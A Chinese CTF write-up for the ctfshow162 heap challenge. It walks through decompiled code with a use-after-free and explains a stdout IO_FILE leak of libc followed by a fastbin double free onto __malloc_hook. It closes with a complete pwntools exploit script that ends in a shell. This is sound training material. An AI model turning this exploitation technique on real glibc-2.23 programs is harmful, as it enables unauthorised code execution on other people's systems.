ctfshow162

题目:ctfshow162

​ 本题远程环境:Ubuntu 16.04,libc版本为2.23

函数分析:

main函数:

​ 平平无奇,菜单选项。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_9DA(a1, a2, a3);
  sub_A44();
  puts("Well,do you know daniu or niufuren?");
  while ( 1 )
  {
    while ( 1 )
    {
      sub_B0E();
      read(0, buf, 8uLL);
      v3 = atoi(buf);
      if ( v3 != 2 )
        break;
      sub_D5C();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        sub_DEA();
      }
      else
      {
        if ( v3 == 4 )
        {
          puts("See you next time ~");
          exit(0);
        }
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      sub_B89();
    }
  }
}

add模块

​ 函数限制只能创建0x13个chunk,会自动创建一个0x28大小(不含表头)的结构chunk,然后输入size的值,不能大于0x7F。写入名字和内容。

int sub_B89()
{
  unsigned int size; // [rsp+0h] [rbp-20h] BYREF
  unsigned int size_4; // [rsp+4h] [rbp-1Ch]
  void *s; // [rsp+8h] [rbp-18h]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  s = 0LL;
  buf = 0LL;
  size = 0;
  if ( (unsigned int)dword_20203C > 0x13 )
    return puts("Too much!!!");
  s = malloc(0x28uLL);
  memset(s, 0, 0x28uLL);
  puts("size of the daniu's name: ");
  __isoc99_scanf("%u", &size);
  if ( size == -1 )
    exit(-1);
  if ( size <= 0x7F && size )
  {
    buf = malloc(size);
    if ( !buf )
    {
      puts("Error !!");
      exit(-1);
    }
    puts("daniu's name:");
    read(0, buf, size);
    *((_QWORD *)s + 1) = buf;
    puts("daniu's message:");
    __isoc99_scanf("%23s", (char *)s + 16);
    *(_DWORD *)s = 1;
    for ( size_4 = 0; size_4 <= 0x13; ++size_4 )
    {
      if ( !qword_202040[size_4] )
      {
        qword_202040[size_4] = s;
        break;
      }
    }
    ++dword_20203C;
    return puts("Added!");
  }
  else
  {
    puts("size error!!");
    return 0;
  }
}

free模块

​ 有uaf漏洞,可以考虑double free。

int sub_DEA()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( !dword_20203C )
    return puts("Null!");
  puts("daniu's index:");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0x13 && qword_202040[v1] )
  {
    *(_DWORD *)qword_202040[v1] = 0;
    free(*(void **)(qword_202040[v1] + 8LL));
    return puts("Deleted!");
  }
  else
  {
    puts("index error!");
    return 0;
  }
}

过程

  • 函数没有输出和编辑模块,因此,这里我们可以采取利用IO泄露libc地址,然后double free 申请到malloc_hook上挂one_gadget

  • 最开始,我们先需要再unsorted bin上构造堆叠,为之后的double free做准备,并且可以通过unsorted bin attack来劫持fd 和 bk指针向 stdout结构体附近搞,使我们可以控制stdout结构体上的数据,从而修改_ flag_和缓冲区指针的值。

  • 那么问题来了,怎么构造呢,我们先申请5个chunk,大小分别为0x30,0x70,0x70,0x90,0x20 (含chunk头)记作0,1,2,3,4,加上程序自动创建的结构chunk,共10个。其中0 3用来unsoted bin attach,加低字节修改,将指针指向stdout 附近,而1 2用来构造double free 并且执行

  • 首先释放0 和 3 ,再去申请一个0x70大小的chunk记作5,这时,原本的0会作为5的结构chunk,5则会从3里面切出0x70的大小作为自己的chunk。并会留下0x20大小的chunk。

  • 申请时顺便修改其内容,使它原本free状态下的fd bk指针指向stdout附近(不知道libc基质,通过修改低位俩字节偏移)

  • 要考虑fastbin会检查size是否合法,因此申请到这里,然后向下填充区改stdout的_ flag_

  • 接下来构造double free

  • 申请,修改fd到我们的伪造的地址处,达到连续申请控制stdout的目的

  • 连续申请,根据位置修改,_ flag_的值为0xfbad1800,缓冲区指向的地址,这里因为不知libc地址可以就近更改,这里将其低字节1为改为00,修改前后如图所示。

  • 我们可以看到修改后的缓冲区是有libc相关的地址的

  • 继续执行,当到了执行输出函数时刷新缓冲区,便会输出这里的内容。

  • 后门便是挂钩子之类的不必多说,直接上exp。

EXP

from pwn import *
from LibcSearcher import *
from ctypes import *
import pwnlib
import time

context.arch='amd64'
p = process('./pwn2')
#p= remote(b'pwn.challenge.ctf.show',28184)
context.log_level = 'debug'
elf=ELF('./pwn')
#libc =ELF('./libc.so.6')
libc = ELF('/home/yxhueimie/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')   # 2.23-0ubuntu3_amd64/2.23-0ubuntu11.3_i386/

#one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23(64)
one = [0x3ac3c,0x3ac3e,0x3ac42,0x3ac49,0x3ac6c,0x3ac6d,0x5faa5,0x5faa6] #2.23(32)
#one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398] #2.27(64)

r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach()
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,b"\x00"))
def get_addr(mode = 0): 
    if mode == 0:
        return u64(ru('\x7f')[-6:].ljust(8, b'\x00'))
    elif mode == 1:
        return u64(p.recv(6).ljust(8, b'\x00'))
    elif mode == 2:
        return int(p.recv(12), 16)
    elif mode == 3:
        return int(p.recv(16), 16)
    else :
        return 0



def add(size,data,data1):
	sla(b"Your choice : ",b"1")
	sla(b"size of the daniu's name: ",str(size))
	sa(b"daniu's name:",data)
	sa(b"daniu's message:",data1)
	sl(b"2")
	
def free(idx):
	sla(b"Your choice : ",b"3")
	sla(b"daniu's index:",str(idx))



##------------------------------
def lotadd(s,e):
	for i in range(s,e):
		add(1,b'1')
def lotfree(s,e):
	for i in range(s,e):
		free(i)
##------------------------------

gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
offset = b"\xDD\x55"

add(0x20,b"aaaa",b"aaaa")  #0
add(0x68,b"aaaa",b"aaaa")  #1
add(0x68,b"aaaa",b"aaaa")  #2
add(0x7f,b"aaaa",b"aaaa")   #3
add(0x18,b"aaaa",b"aaaa")   #4

free(0)
free(3)

#gdb.attach(p,'b *$rebase(0xBC6)')

add(0x60,offset,offset)  #5

free(1)
free(2)
free(1)
add(0x68,b"\xd0",b"\xd0")  #6
add(0x68,b"\xd0",b"\xd0")  #7
add(0x68,b"\xd0",b"\xd0")  #8
add(0x68,b"\xd0",b"\xd0")  #9


sla(b"Your choice : ",b"1")
sla(b"size of the daniu's name: ",str(0x68))
sa(b"daniu's name:\n",b'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00')

ru(b'A'*0x20)
p.recv(0x28+0x8+0x8)
libc_base = get_addr(1)
print("libc_base11111=======>",hex(libc_base))
libc_base = libc_base-0x3c56a3
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc_hook = libc_base+libc.sym['realloc']
fake_chunk = malloc_hook-0x23
one_gadget = libc_base+gadget[1]

print("libc_base------------------>: ",hex(libc_base))
sla(b"daniu's message:",b"1")


#================================================================================
#利用double free改fd指针,使其指向我们伪造的fake_chunk

free(1)
free(2)
free(1)

add(0x68,p64(fake_chunk),b"aaaa")
add(0x68,b"a",b"a")
add(0x68,b"a",b"a")

#===============================================================================
#shell

add(0x68,b"a"*(0x13-8)+p64(one_gadget)+p64(realloc_hook+8),b"a")
sla(b"Your choice : ",b"1")



ia()
posted @ 2024-11-05 17:04  maple_j  阅读(39)  评论(0)    收藏  举报